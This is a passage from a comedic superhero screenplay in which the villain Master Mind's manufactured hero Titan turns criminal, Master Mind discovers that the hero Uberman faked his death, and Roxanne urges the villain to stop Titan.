GROIN with his metal gauntlet causing Plato's eyes to bulge in pain. 70. MASTER MIND (overly calm) Fine, why do you ask? PLATO You...just...seem... Master Mind tightens his grip. MASTER MIND Go on. PLATO ...distracted. Master Mind releases him. MASTER MIND Just with business, my minion. Just with business. I've decided it is time. PLATO You mean? MASTER MIND Yes, we've created our hero, now it's time to give him a little motivation. DA VINCI How do we do that? MASTER MIND To be simply good is not enough. A hero must be driven by an almost relentless desire to right a wrong that can never be corrected. PLATO You mean? MASTER MIND Yes, he must lose someone near and dear to him - his father figure. Gentlemen, it's time for Operation Mentor Kill! EXT. SKY OVER METRO CITY - DAY Titan flies high over and through the city, under bridges, between buildings, etc. He's not really working, just enjoying himself. 71. INT. WOMAN'S APARTMENT - NIGHT A PRETTY WOMAN sits at her makeup table wearing nothing but her bra and panties. Through the reflection in her mirror we see a large window directly behind her. As she applies lipstick we see Titan fly quickly by in the background. After a moment he slowly slides back in view and begins ogling the girl. She sees him in the mirror and quickly covers herself with a robe. Titan tries to hide his face as he zooms off. MOMENTS LATER Titan looks down to see an APARTMENT BUILDING IN RUIN. Emergency lights flash around it as swarms of people run around in chaos. TITAN Man, what the hell happened down there? Wait a sec - He stops in mid-air as he comes to the striking realization. TITAN (CONT'D) THAT'S MY APARTMENT!!! EXT. HAL'S APARTMENT BUILDING - DAY Titan lands in front of the rubble that was once his home. Reporters stand just beyond the police line. TITAN Crap. From the wreckage crawls a dying Pat Morita. TITAN (CONT'D) PAT! Titan goes and kneels beside Pat, holding him in his arms. TITAN (CONT'D) You okay? "PAT MORITA" I'm dying, kid. There is just one last lesson I have for you. It is the most important of all. 72. TITAN What's that? "PAT MORITA" Master Mind did this, you must avenge me. TITAN Master Mind? Why? "PAT MORITA" Because he's evil. You must stop the evil Hal - stop the... Pat's body goes limp. The cameras begin to pop and flash around them. Titan gently lays Pat's body down and stands respectfully over him. The reporters rush over. REPORTER 1 Tighten, Is this the work of Master Mind? REPORTER 2 How will the death of your mentor affect your resolve? REPORTER 3 Was that Pat Morita? Titan walks up to one of the cameras. TITAN This injustice will not go unpunished. Master Mind, if you can hear me, Tighten is coming for you. In the background we see Plato and Da Vinci, DRESSED AS PARAMEDICS, load pat's body onto a stretcher. PLATO ACCIDENTALLY DROPS HIS SIDE. As he bends down to pick it back up, Pat quickly slaps him, then goes back to playing dead. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind and the boys prepare the fortress for Hal's revenge attack. Master Mind is as giddy as a schoolboy. 73. MASTER MIND Alright, people, we don't have much time. Titan should be here any minute, so let's get the lead out. There is a GIANT MOUNTED DEATH RAY in the middle of the hall being tinkered with by Da Vinci. MASTER MIND (CONT'D) How's the death ray coming? DA VINCI Nearly up to full power, sir. MASTER MIND Hum. Let's turn it down a few notches. It's his first time and we don't want to get in a lucky shot, now do we? Plato enters the room. MASTER MIND (CONT'D) Anything on the radar yet? PLATO Not yet, sir. MASTER MIND I see. Well, he must be planning something big. Are the flame androids deployed? PLATO All twelve. Master Mind rubs his hands in anticipation as he sits down on his throne. MASTER MIND Wonderful, wonderful. Plato, Da Vinci, take your places next to me. They move to either side of the chair. MASTER MIND (CONT'D) No slouching. Da Vinci straightens up and sucks in his gut. They remain this way for several long moments. Master Mind occasionally glances at a DIGITAL CLOCK on the wall. Still no Titan. 74. LATER Apparently quite some time has passed. The bold stances have degraded to fatigue. PLATO He's certainly taking his time. MASTER MIND He'll be here. That's the way it works. STILL LATER Master Mind reclines in his chair and taps his metal gauntlet impatiently on the armrest. Plato has squatted down, resting his chin on his hand. MASTER MIND (CONT'D) Unprofessional, that's what this is. No, it's disrespect for the craft. Master Mind rises and begins to pace back and forth. MASTER MIND (CONT'D) Would Uberman have kept us waiting like this? Of course not. He was a pro who knew the score. It's time we spelled out a few things for this Titan. I will not be made a fool of. He storms out of the room. INT. HAL'S NEW APARTMENT - DAY Titan's sitting on the floor in a barren apartment wearing his costume top and some tighty whities. He sips his beer as he watches a basketball game on a tiny TV. Much to his annoyance, there's a KNOCK at the door. TITAN Oh, for crying out loud. He gets up and opens the door. It's Master Mind. MASTER MIND Do you know who I am? 75. It takes a few moments to register, but Titan's suddenly excited. TITAN Yeah, you're Master Mind. Yeah! You're actually the guy I want to see! MASTER MIND Oh, so NOW you want to get down to it. Well, I want to get a few things off my chest first. Master Mind walks past Titan into the apartment. He spins around, pointing at him accusingly with one of his metal fingers. MASTER MIND (CONT'D) Of all the inconsiderate - Do you have any idea how long we waited for you? We're you even planning on coming to me and getting revenge? Titan shuts the apartment door, and turns back toward his guest. TITAN Well, at first I was going to. You know, because that's what I figured I was supposed to do. But then I got to thinking- MASTER MIND (interrupting) -You got to thinking? There's nothing to think about. I'm the villain. I do something bad, you come and get me. TITAN - I got to thinking...what's the point? Master Mind throws up his hands. MASTER MIND Maybe you're right. What's the point? He suddenly notices something in the corner of his eye. He walks over to a futon in the living room. On top of it is a LARGE SACK OVERFLOWING WITH GOLD WATCHES,RINGS AND OTHER VALUABLES. 76. MASTER MIND (CONT'D) What are these? TITAN That's what I wanted to talk to you about. MASTER MIND (baffled) Where did you get all this? TITAN (proudly) Get this: I stole them. MASTER MIND From where? TITAN From all over. You see, once you killed Pat and ruined my other apartment building I was pretty pissed off, so I figured I'd go, find you and kick some ass. Then I thought to myself: "Okay,then what?" I mean, if we were to fight, what would I get out of it? Would I get my apartment back? Would I be able to pay the bills? MASTER MIND Well, what about your mentor? TITAN Tell you the truth? He was kind of a dick. I mean, being a hero is dandy and all, but it's volunteer work. Now you've always had the right take on all this. I mean, when you rob a bank or take over the diamond exchange you get something out of it. I mean, when you don't get caught, which, no offense, isn't very often. And that brings me to what I wanted to propose to you: Who could catch you if I'm by your side? Perplexed by his proposal, Master Mind just stares at Titan awe-struck. MASTER MIND You want to team-up? 77. TITAN You got the brains, I got the brawn. We could even call ourselves that: `Brain' and `Brawn'. Look at this. Titan picks up a piece of POSTER BOARD off the floor and shows it to Master Mind. TITAN (CONT'D) I even designed us some new costumes. The picture is crudely drawn with magic markers and crayons. A big headed man (Master Mind) is standing on a plate of grass in a blue costume with a picture of a brain on his chest. Next to him, is a picture of Titan in a red costume with a black cape, but his chest is mysteriously blank. Titan proudly points to the two figures. TITAN (CONT'D) See, you'd be brain, so you got a little one on your costume, and then I'll have brawn on mine...once I figure out the best, you know, visual interpretation of it. What do you think? MASTER MIND What do I think? Master Mind shakes his head tiredly. MASTER MIND (CONT'D) I think you're probably the biggest idiot I've ever met. I mean, I can't believe you. All your gifts, all your powers, and all you want to use them for is your own financial fulfillment. You know what? Your kind of people make me sick. Titan puts down his drawing. TITAN I worked hard on this. MASTER MIND Oh - gee - I am so sorry! 78. Master Mind looks to Heaven in disgust. MASTER MIND (CONT'D) (under his breath) Of all the people to pick, it had to be this loser. This strikes a cord with Titan. TITAN Now, hold on. You're going a little too far. MASTER MIND I wish your mother said that to your father the night of your conception, they would have saved me a whole lot of heartache. TITAN Hey, I mean it. Master Mind gets right in his face. MASTER MIND Oh, yeah? What are you gonna do? EXT. HAL'S APARTMENT BUILDING - DAY We see Master Mind's body CRASH through the building and land in a DUMPSTER across the street. A car pulls up. The driver's door opens. Da Vinci gets out and runs to help his master. DA VINCI Master! MASTER MIND (O.S.) It hurts. Da Vinci peeks into the dumpster to see Master Mind's body cushioned by a stack of trash bags. DA VINCI What hurts? MASTER MIND It! The overly large henchmen starts to pull his master from the dumpster when they suddenly hear a voice from above. It's Titan peeking through the hole in his apartment wall. 79. TITAN I don't need you, I don't need anybody. I have the power to do and take anything I want. And now, I'm gonna take back everything this city owes me. Beware Metro City, it's time for Titan to collect. Titan shoots up into the air. TITAN (CONT'D) Oh, and from now on - I'M GONNA FLY THE WAY I WANT TO FLY! He takes a sitting position and flies away as if he were piloting an invisible jet. Master Mind climbs out of the dumpster and watches Titan disappear into the distance. DA VINCI How'd the plan go, boss? MASTER MIND I just made myself redundant, old friend. Da Vinci gives Master Mind a whiff. DA VINCI It's not that bad. INT. BANK - DAY Titan, with a happy bounce in his step, enters the bank. The last time he was here he thwarted a robbery. He looks nostalgic. A SECURITY GUARD shyly walks up to him like a kid meeting his TV idol. SECURITY GUARD Morning, Tighten. TITAN Morning. SECURITY GUARD Is there something we can do for you? 80. TITAN Oh, don't bother about me. I'm just here to make a withdrawal. Titan walks across the lobby, drawing stares of admiration from all. A little girl waves to him sweetly. He gives her a good- natured WINK as he heads straight for the vault. The security guard watches him enter and come out with a SACK OF CASH. Sure he must be misunderstanding what's going on, the security guard just stares at Titan as he passes by and out the door. The bank manager comes over to the guard. BANK MANAGER Say, did he just rob us? SECURITY GUARD Not sure. Sort of looks it, don't it? BANK MANAGER Yeah. SECURITY GUARD Should I, you know, stop him? BANK MANAGER Umm...Yeah. As the security guard exits the bank, the manager stares out the window. His eyes suddenly grow wide with terror. The guard's body suddenly smashes through the window, landing at the startled bank manager's feet. BANK MANAGER (CONT'D) (looking down at the guard) He did rob us, didn't he? CUT TO: TELEVISION "A Channel 7 News Special Report." Brad Helms wipes into view. 81. BRAD HELMS "Absolute power corrupts absolutely." When Lord Acton stated that, in a letter to Bishop Mandell Creighton in 1887, no one thought much about it, but today Metro City is reeling from that very prophecy. Tighten, who many thought of as our savior, has turned his back on the cause of justice. CUT TO: TITAN BEING EVIL - MONTAGE EXT. DIAMOND EXCHANGE - DAY Titan flies through the window of the building. He emerges seconds later laughing with his shirt full of booty. EXT. CITY STREET - DAY A woman screams from the window of a BURNING BUILDING. Titan flies up to her, grabs her fur coat and zooms off again, leaving the woman behind, slightly confused. EXT. OUTSIDE MARKET - DAY Titan steals a little boy's lollipop and gooses his mother. EXT. CITY STREET - DAY Dozens of people run through the streets apparently to get out of a downpour. We cut to the top of a building and see Titan ZIPPING UP HIS PANTS and laughing. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind paces back and forth in front of Plato and Da Vinci. PLATO I don't understand it. He seemed to have every characteristic we were looking for in a superhero. MASTER MIND Well, there's no use crying about it now, we must take action. I'm not going to play second fiddle to that crass buffoon. We must destroy Tighten. 82. PLATO It won't be easy. Uberman had a sense of decency and genuine love for the people. That was his weakness and was easily used against him. MASTER MIND Yes, but he possesses the same flaws present in Uberman's DNA - copper. It's like Benjamin Franklin always said: "If something works don't dick with it." EXT. BAR - DAY It looks like a war zone passed through here. Smashed police cars and debris lay everywhere. This seems to be the only building left untouched. INT. BAR - DAY A very tipsy Titan is sitting at the bar, looking deep into the bottom of his beer glass for answers. TITAN I can have anything I want. I'm like a god. The BARTENDER just listens as he wipes down a glass with a dirty rag. TITAN Point to any woman in this bar. I could have her in a second. He follows the bartender's gaze to THE ONLY OTHER PERSON THERE - A passed out, MIDDLE AGED HAG OF A BARFLY. TITAN (to Old Barfly) Hey, you wanna get with this? BARTENDER Buddy, what do you want? Titan carefully considers this for a moment. TITAN What do you want? That's the question, isn't it. I mean, what do you want when you can have everything? (MORE) 83. TITAN(cont'd) I suppose what I really want is to never be forgotten again. I want to do something that can never be cast aside or one-upped. I want a - what's it called? - A legacy. I want a legacy. Yeah, that's it. I like the sound that. BARTENDER I meant, what do you want to drink? TITAN Oh. EXT. BAR - LATER Titan stumbles out of the bar, carrying a large sack of money. MASTER MIND (O.S.) Your time has come to an end, Titan! He looks up to see Master Mind suddenly standing before him. TITAN What? MASTER MIND There can be only one master criminal in this city - and it's me. TITAN Really? Titan melodramatically throws up his arms. TITAN (CONT'D) I guess I should leave town then, huh? MASTER MIND I have a better idea - NOW! Two floors up Da Vinci releases a rope. A COPPER CAGE, like the one that caged Uberman, drops down on top of Titan. Titan nonchalantly surveys the cage. He walks to the bars, tries to pull them apart but can't. MASTER MIND (CONT'D) That's copper my good man. Your one weakness. (MORE) 84. MASTER MIND(cont'd) For all your amazing gifts of brawn you are no match for my intellect. Titan thinks for a moment. Suddenly, he starts to SPIN like a human top, DRILLING HIMSELF INTO THE STREET BELOW. As he disappears beneath the surface, we see a shocked look on Master Mind's face until Titan suddenly explodes out from under the street in front of him. Master Mind stares up at him, dumbfounded. Titan makes like he's going to strike him down, but stops. TITAN You know what? You're nothing but a bug. Not even worth my effort. He turns his back to Master Mind and continues down the street. Plato makes his way from the shadows to join his master. They watch Titan shrink into the distance. MASTER MIND He's not as dumb as I thought. PLATO I guess not...Funny, though. MASTER MIND What's funny? PLATO Funny Uberman didn't think of the same thing. EXT. HIGH ABOVE METRO CITY - DAY As Titan flies, he looks down at the rooftops of the city below. Suddenly, something catches his attention. HAL That's it! He stops, hovering in place as he looks down below. The buildings, which make up the heart of downtown Metro, are in a PERFECT TRIANGLE with a long strip of street leading up to it. It sorta looks like a bowling lane. 85. HAL Hello, Legacy. EXT. KINGPIN BOWLING - DAY Vinnie and his goons come running out as the hear a COMMOTION. They look up to see Titan ripping off THE GIANT BOWLING BALL from the top of the establishment. VINNIE Hey, that's my ball! INT. ROXANNE'S APARTMENT BUILDING - DAY Roxanne enters the building's elevator. Just before the door closes an ELDERLY WOMAN slides in. ELDERLY WOMAN That was a close one. Sixth floor, please. Roxanne smiles and goes to press the button. The elderly woman suddenly pulls out a SPRAY CAN, shooting a MYSTERIOUS-LOOKING MIST into Roxanne's face. She falls to the floor unconscious. INT. ROXANNE'S APARTMENT - DAY Roxanne awakens, finding herself tied to a chair in her living room. We hear NOISE from a TV in the background as she tries to adjust her vision. Slowly, the blurry figure before her becomes clear. It's Master Mind. He sits on her Lazy-Boy, reading what looks to be some kind of JOURNAL. MASTER MIND Wow, I always thought Uberman was your first superhero - but it looks like our little Roxanne dated a linebacker in college. ROXANNE That's my diary. MASTER MIND So it is. 86. ROXANNE It's personal. MASTER MIND Well, then I wouldn't leave it in your underwear drawer for just anyone to find. He throws the diary over his shoulder. ROXANNE What do you want? MASTER MIND I need your help. ROXANNE So you knock me out and tie me to a chair? MASTER MIND You're not going to like what I'm about to tell you. As she tries to shake off her headache from being knocked unconscious, Roxanne spots something on the TV. ON TELEVISION Brad Helms is huddled behind a van. BRAD HELMS It's chaos here in city square as city police - Behind him, Titan picks up a POLICE CAR and throws it at a PADDY WAGON. Both vehicles EXPLODE on impact. BACK TO SCENE ROXANNE He's really out of control. MASTER MIND Tell me about it. As if finally realizing something, Roxanne looks back at Master Mind. ROXANNE I should have known. You have something to do with this, don't you? - With Titan turning evil. 87. MASTER MIND Well, the evil thing he did by himself. My goal was to give MYSELF purpose by creating an intellectual sparring partner. ROXANNE (confused) You're talking like you made him. MASTER MIND And they call me Master Mind. ROXANNE Let me get this straight. You missed getting your ass kicked, so you made a new guy to kick your ass. That's pathetic. MASTER MIND In hindsight... Roxanne turns back to the TV to see a group of POLICE OFFICERS open fire on Titan. The bullets just deflect off his chest. ROXANNE And his powers, they're just like Uberman's. Why would he have his powers? MASTER MIND (almost ashamed) I had some left over from something. I infused him with it. ROXANNE YOU DID WHAT!? Driven by rage, she struggles to tear out of her bonds. She finally relents, giving Master Mind a look fueled by pure hatred. MASTER MIND Yeah, that's why I decided to tie you up. ROXANNE You did all this because you wanted purpose? MASTER MIND He seemed nice. 88. TELEVISION Titan is standing on top of a destroyed police car. He waves for the camera to zoom in on him. TITAN Closer. I want to show the people my real face. He pulls off his mask, revealing himself as Hal Stewart to the public for the first time. TITAN (CONT'D) Recognize me? BACK TO SCENE ROXANNE Hal Stewart. He's the guy we thought saved that woman and kid. Turned out he was just trying to save his own ass. MASTER MIND Yeah, good to know - NOW! TELEVISION Titan throws the mask over this shoulder and hops off the car. TITAN That's right, I'm really Hal Stewart. Former hero and bowling teacher at Kingpin's Bowling. BACK TO SCENE Roxanne turns to Master Mind, condescending him with her eyes. ROXANNE You picked a bowler to give super powers to? MASTER MIND It's a modest profession! TELEVISION 89. TITAN With my new found power, I've recently started to wonder what sort of legacy I should leave. Should I be a hero? I tried that once before - even saved a lady and her baby from being squashed. I was treated like a god until everyone started to shit on me - Okay, so what if I didn't "purposely" save them! He walks over and puts his hand on a large circular concrete shape just off camera. TITAN Well, I'm going to make something that can't be taken away from me. I'm going to create a permanent monument to my greatness. One that won't be so easily forgotten or erased. The camera pulls back revealing THE GIANT CONCRETE BOWLING BALL from Kingpin's. TITAN I intend to create a new category in the Guinness Book of World's Records by rolling the biggest strike in the history of bowling. He grabs the camera and points it to the DOWNTOWN BUILDINGS. We realize they are PERFECTLY ALIGNED IN BOWLING PIN FORMATION. TITAN My thanks to the city planning commission. This wouldn't have been possible without them. Titan grabs the camera so it's pointing back at him again. TITAN Tell your friends and family to tune in right here to this station at noon tomorrow. BACK TO SCENE ROXANNE My god, he's nuts. That'll destroy the whole business triangle. 90. Master Mind seems to be contemplating something - something bad. ROXANNE What? MASTER MIND My lair is in the direct path of the ball. ROXANNE Oh, real nice. Wouldn't want anything to happen to your hideout, would we? MASTER MIND You don't understand. I have certain equipment that's - that's highly unstable. ROXANNE What do you mean? MASTER MIND I sort of have a hydrogen reactor, okay? ROXANNE A HYDROGEN reactor? MASTER MIND It's experimental - only one in the world...Well, how do you think I power all my inventions? Someone like me can't pay for electricity. The bills would be outrageous. ROXANNE A REACTOR? MASTER MIND It creates 100 times the output of a nuclear one...If destroyed it could... ROXANNE - Vaporize the entire city! MASTER MIND (proudly) Pshaw...the whole eastern seaboard, actually. That little baby is amazing. I'm quite proud of it. (MORE) 91. MASTER MIND(cont'd) (off her deadpan reaction) I mean...we'd better find a way to stop him. Master Mind thinks a moment. MASTER MIND Did Uberman have a hideout? ROXANNE What? MASTER MIND A cave, a solitary fortress of some kind. C'mon, all heros have a place to hang their capes up in. Roxanne, it may be our only chance to find something, a clue, anything that could give us a fighting chance. ROXANNE It's under his house. MASTER MIND Whose house? Roxanne can hardly believe what she's telling him. ROXANNE Wayne Scott's. Master Mind shoots up out of his chair. MASTER MIND Wayne Scott? Uberman was Wayne Scott!? Wayne Scott, the wealthy philanthropist? But he disappeared - ROXANNE (interrupting) He disappeared just over two months ago when you killed him. Not only did you rid the world of a hero, you killed a kind, noble, generous man. Perhaps ashamed, the super villain hangs his head. Master Mind walks behind Roxanne and undoes her bonds. Rubbing her wrists, she watches him as he walks over to the door. 92. ROXANNE (CONT'D) Looks like you got what you always wanted. Uberman is out of the picture and Metro City is doomed. He grabs the door knob and stops, considering her words. MASTER MIND "Metro City doomed." You know, I never thought I'd say something like this, but here it goes - He slowly turns to her, CUE HEROIC MUSIC. MASTER MIND (CONT'D) Not if I have anything to say about it. EXT. WAYNE SCOTT'S MANSION - NIGHT Master Mind stands before the huge, Gothic structure in awe. MASTER MIND Such a dark place for one such as you. I wonder, underneath your noble deeds, what inner demons drove you to your endless crusade for justice? He walks to the front entrance. The double doors have been sealed shut with boards and nails. Master Mind begins to tear them off with his metal hand. INT. WAYNE SCOTT'S MANSION - NIGHT The doors opens. A beam of moonlight immediately pierces the darkness, forming an illuminated path into the heart of the manor. Master Mind enters. Covered in dust and cobwebs, the hall looks like a gigantic crypt. MASTER MIND Good lord, man. You've only been dead for two months. Master Mind walks, coming to a gigantic painted PORTRAIT OF WAYNE SCOTT. He stops to reverently admire the image of his fallen foe. 93. MASTER MIND (CONT'D) A disguise so simple, it's ingenious. No wonder I never caught on. Besides the Armani suit, there's nothing to hide the fact that this is the same person as Uberman. In the picture, he's even standing in the same cheesy, heroic pose with his fists on his hips. MASTER MIND (CONT'D) Two lives, yet in both you were an ideal. Perhaps it was you who was victorious in the end, old friend. A BONGING sound suddenly bellows through the dark halls. Master Mind comes to a grandfather clock standing next to a gigantic BOOKCASE. On the twelfth bong it falls silent. Master Mind begins to slide it across the floor until he hears a loud CLICK. The bookcase slides into the wall, REVEALING A HIDDEN PASSAGE. MASTER MIND (CONT'D) I'll miss how predictable you were. The passage way leads Master Mind to a WORKING ESCALATOR. Master Mind gets off the escalator to see a long hallway with stone walls. He begins to hear strange SOUNDS, almost like MUFFLED SCREAMS, coming from a doorway at the end of the hallway. Master Mind starts walking towards it. As he steps closer, he begins to notice a light cracking through the bottom of the door. MASTER MIND (CONT'D) Hello? Anyone here...besides..all the BIG MEN who are with me now? Nothing. MASTER MIND (CONT'D) (to himself) What's the worst you're gonna find? (MORE) 94. MASTER MIND(cont'd) The man was a boy scout, not a serial killer. He opens the door to his immediate amazement. It's some kind of screening room. A PROJECTOR shoots an image onto A DIRTY WHITE SCREEN hanging on the wall. BEER CANS litter the floor; a table in front of a ripped-up couch is covered in discarded snack goods; and a Kiss Pinball machine stands in the far corner next to a CLOSED DOOR. Master Mind turns his attention to the action on the screen. SCREEN A woman dressed in a leather DOMINATRIX OUTFIT is whipping an overweight man lying on a swing-like device with his butt sticking out. DOMINATRIX IN FILM YOU ARE A WORM! She whips him three times. The man CRIES out in pain. FAT MAN IN FILM PINEAPPLE!!! PINEAPPLE!!! Master Mind's eyes are transfixed on the disturbing imagery. The door by the pinball machine suddenly swings open. WAYNE SCOTT, dressed in raggedy sweats, steps into the room carrying a CAN OF BEER and a bowl of JIFFY-POP. Master Mind cannot believe his horrified eyes. MASTER MIND Ahhhhhh! Wayne Scott is just as startled. WAYNE SCOTT Jesus! He drop his drink and snack to the floor. The two men stare at each other as they struggle to regain their normal breathing patterns. Wayne Scott walks over to the couch, brushes off a thick layer of chip crumbs, and sits down. WAYNE SCOTT (CONT'D) What the hell are you doing here? 95. MASTER MIND I might just ask you the same question. I had thought I incinerated you. WAYNE SCOTT You scared the bejesus out of me. How'd you figure out I was still alive? Wait, how do you know my identity!? MASTER MIND Roxanne told me. As for your ruse, I forgot to line the bottom of the copper cage - Somebody pointed that out to me recently. Figured if they could do it, so could you. But one thing I couldn't figure out - WAYNE SCOTT The skeleton? Something I "borrowed" from a medical school a few months before. MASTER MIND A few months? How long had you been planning this? WAYNE SCOTT I always planned to retire - eventually. I mean, come on, you can't do this sort of thing in your fifties. You'd just look ridiculous. The pieces of the puzzle appear to be coming together in Master Mind's head. MASTER MIND I see it all so clearly now. INT. MASTER MIND'S HYDROFOIL - FLASHBACK Master Mind and his minions cover their eyes as the observatory explodes. MASTER MIND (CONT'D - V.O.) You must have done it just seconds before the observatory exploded. 96. INT. OBSERVATORY - FLASHBACK Similar to what Titan did, Uberman bores out from under the cage. MASTER MIND (CONT'D - V.O.) You bore out from under the cage. Then, using your Uber-Speed, - EXT. OBSERVATORY - FLASHBACK Running in a blur-like haze, Uberman screeches to a halt in front of some bushes. MASTER MIND (CONT'D - V.O.) - you made your way to safety, where you had the skeleton safely hidden away somewhere. EXT OBSERVATORY - SKY - DAY Uberman soars high above the clouds. He looks down at the observatory, which is a mere speck in the distance. MASTER MIND (CONT'D - V.O) (CONT'D) Then you must have flown to a safe distance and waited for the explosion, then... Just as the observatory explodes Uberman aims and throws the SKELETON like a javelin. It soars through the air like a missile, tearing through the flames of the explosion, and crashing right into the windshield of Master Mind's hydrofoil. END OF FLASHBACK Wayne stares at Master Mind, clearly impressed. WAYNE Man, you ARE smart. MASTER MIND But why fake your death? Why go through all of it? You could have just quit. WAYNE SCOTT But the responsibility would still be there. (MORE) 97. WAYNE SCOTT(cont'd) A cop can retire and stop handing out speeding tickets - but people expect more from superheroes. I tell you, a volcano couldn't erupt in Zimbabwe without everyone expecting me to do something about it. I figured, out of sight, out of mind. MASTER MIND And Wayne Scott? Why did he have to disappear? WAYNE SCOTT Both of my lives have so much baggage. It's time for new baggage, you know? Master Mind's is absolutely flabbergasted. MASTER MIND I just can't believe it. This whole time you've been in hiding while a force of great evil is tearing your city apart? Wayne rises to his feet, waving his hands for Master Mind to say no more. WAYNE SCOTT I don't want to hear about it. That's why I don't have a television in here to remind me of all the things I SHOULD be doing. Hell, I could get a wife to do that. MASTER MIND There's a demented supervillain out there about to destroy our - I mean, your city. Wayne shrugs indifferently. MASTER MIND You're really going to do nothing? WAYNE SCOTT Good and evil have a way of balancing themselves out. If this guy is as bad as you say, somebody will rise up to fight him. It's just the order of things. You found me, didn't you? 98. Wayne puts a condescending hand on Master Mind's shoulder. WAYNE SCOTT (CONT'D) I know it's hard, but you'll find someone else someday. He then starts walking to the door. MASTER MIND You're the only one who can stop him. Wayne turns around. WAYNE SCOTT Couldn't if I wanted to. Gotta a plane to catch. MASTER MIND A plane? WAYNE SCOTT Going to Barbados for a little change in climate. Now, if you'll excuse me, I got to go pack. He reads the still defeated look on Master Mind's face. WAYNE SCOTT (CONT'D) You were a good foe. I'm sorry if I've let you down. If it makes a difference, you were the best foe a hero could ask for. MASTER MIND Not smart enough to come up with a full-proof trap. WAYNE SCOTT Well, you did almost have me when you figured out my weakness was copper. Now that made me sweat a little. Took me way too long to drill out from under that cage. MASTER MIND I got lucky. WAYNE SCOTT Anyway, it's a good thing for my sake that I could always count on you for an out. 99. MASTER MIND (suddenly confused) What do you mean? WAYNE SCOTT C'mon, we always threw each other a couple of bones. You would always leave me an out in one of your `full-proof' traps, and I'd never had you incarcerated at a penitentiary that you couldn't eventually escape from. It kept our little game going. Master Mind seems deflated. MASTER MIND Game? - Was that all this ever was to you? You know, I was trying my best every time I fought you. Those `outs' as you call them were unintentional. WAYNE SCOTT Oh. MASTER MIND I guess I was never really a match for you, was I? Wayne shrugs. MASTER MIND (CONT'D) (thoughtfully) Then how can I expect to be one for Titan? A beaten man, Master Mind heads for the door, but stops and turns around. MASTER MIND (CONT'D) What about Roxanne? Wayne unleashes an exhausted sigh. WAYNE SCOTT I think we both got what we wanted out of our relationship. She got a career out of me, and I got plenty of other things out of her. But I'm ready to move on to greener pastures. 100. Master Mind's steel hand clinches into a fist at his side. Wayne's oblivious to this. MASTER MIND I guess I wasn't the villain I thought I was, and you...you weren't the hero I thought you were. He turns to make his exit when he suddenly sees ROXANNE STANDING IN THE DOOR FRAME. Wayne is almost at a loss for words. WAYNE SCOTT Roxanne! How long have you been... ROXANNE Long enough. Roxanne looks at Master Mind. ROXANNE (CONT'D) Don't you have something else you can go do? Master Mind leaves Roxanne and Wayne facing each other in silence. EXT. ANOTHER BAR - DAY Titan emerges with Brad and Frank. He's holding a BEER CAN and a bag of PORK RINDS. TITAN Alright, I want this whole thing to look ESPN professional, understand? A distant MECHANIZED RUMBLE can be heard. The noise rises, signaling the approach of something powerful. Titan and his crew walk out to the center of the plaza as the sound becomes almost deafening. A TANK TRACK as it moves over the street. We PULL BACK to see a whole line of TANKS rolling along the street. PLAZA From the five streets branching off the plaza, a dozen tanks roll toward Titan. 101. Titan turns to Brad and Frank. TITAN (CONT'D) You guys are about to get some good footage. I might need a little room, though. Brad and Frank look at each other and run to take cover behind a nearby building. Meanwhile, Titan nonchalantly sips from his beer as the tanks begin to surround them. FEEDBACK belts out of one of the tank's loudspeaker's, causing Titan to do a mock wince. TANK LOUDSPEAKER Titan, we have orders from the city of Metro to take you into custody. If you do not give your self up willingly, we will be forced to open fire. There's a long pause as no one says anything. TANK LOUDSPEAKER What is your answer? Titan takes a sip of his beverage and UNLEASHES A GIGANTIC BURP - The shockwave of which sends several of the tanks flying into a nearby building. Two of the remaining tanks close in on the villain. Both have him dead to rights at point-blank range with their massive guns. Titan sets down his beer, then calmly plugs a fist into each barrel. They FIRE. The FORCE OF THE BLAST SENDS THEM BOTH FLYING IN OPPOSITE DIRECTIONS where they CRASH into nearby buildings. Titan bends down and pick his beet back up. TITAN (to beer) Miss me? Titan is suddenly bombarded by a massive barrage of machine- gun fire. The force sends him flying into the windshield of a nearby car. 102. He looks up to see an APACHE ASSAULT COPTER. It's nose- mounted GATLING-GUN is turning toward him. Titan gets up to his feet and looks down at his beer can. The bottom of it was blown apart in the blast. TITAN (CONT'D) Didn't mean to get you involved in all of this. He stared daggers up at the helicopter pilot just as the gun gets a bead on him. TITAN (CONT'D) Hey, man! You killed my suds! Titan throws the can up and slaps it with the palm of his hand. It flies with so much force it knocks the helicopter blade clean off. The rest of the Apache crashes to the street like a car dropped off a building. TITAN (CONT'D) That's one was for you, beer. Titan salutes the wreckage and walks away to find Brad and Frank still hiding behind the building. TITAN Guys, please tell me you got that last bit. BRAD HELMS Huh? TITAN You're kidding me. I give you my sexiest moves and you mean to tell me it was for nothing? BRAD HELMS We were afraid something might hit us. TITAN Looks like I've given the story of the century to the wrong man. He thinks about this for a moment, then it hits him. 103. TITAN Wait. What about that other reporter. Blond. Not so lumpy on the topper half, but killer legs. BRAD HELMS Roxanne. You want Roxanne. She's a much better reporter than I am. You want her. TITAN Where can I find her. FRANK We're actually not supposed to give out that sort of information. BRAD HELMS 1314 Mockingbird Lane. I believe she lives in a penthouse. TITAN You've been very helpful. He tosses Brad over his shoulder like a discarded ice cream cone. In the faint distance we see him splash down in the middle of the Metro City river. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind, pacing anxiously as Plato and Da Vinci pack boxes. Obviously Master Mind is going on the lamb. MASTER MIND Hurry, we must be on our way as soon as possible. DA VINCI Master, why must we flee? MASTER MIND I told you, Titan is too powerful. If he's set on destroying us, there's precious little we could do about it. DA VINCI Where are we going? 104. MASTER MIND To another city, someplace with a shitload of superheroes to fight. We'll start over, we'll go back to doing what we do best. PLATO With our tails between our legs? The old Master Mind would never have let this comment slip by, but as we have seen, he's not the same man. MASTER MIND Plato, do you have a better plan?! Master Mind's cell phone rings. He turns in shame from his men and answers it. MASTER MIND (CONT'D) Hello...Roxanne? INT. ROXANNE'S APARTMENT Roxanne paces back and forth on the phone. ROXANNE What are you going to do about Tighten? INTERCUT between Master Mind and Roxanne on phone. MASTER MIND Right now I'm packing, later I'll have a snack on the train. ROXANNE You're running away? MASTER MIND In a word - yes. ROXANNE You created this monster... MASTER MIND I didn't create this - the god's of irony did and I am eating the crow I so richly deserve. ROXANNE There's no time for self pity. 105. MASTER MIND I'll make the time. Roxanne can't believe what she's hearing. MASTER MIND (CONT'D) You can leave with us. You'll be safe. ROXANNE I'm not going anywhere. MASTER MIND Will you listen to me, no one can stop him. ROXANNE You have to try. The city needs your help. MASTER MIND I'm 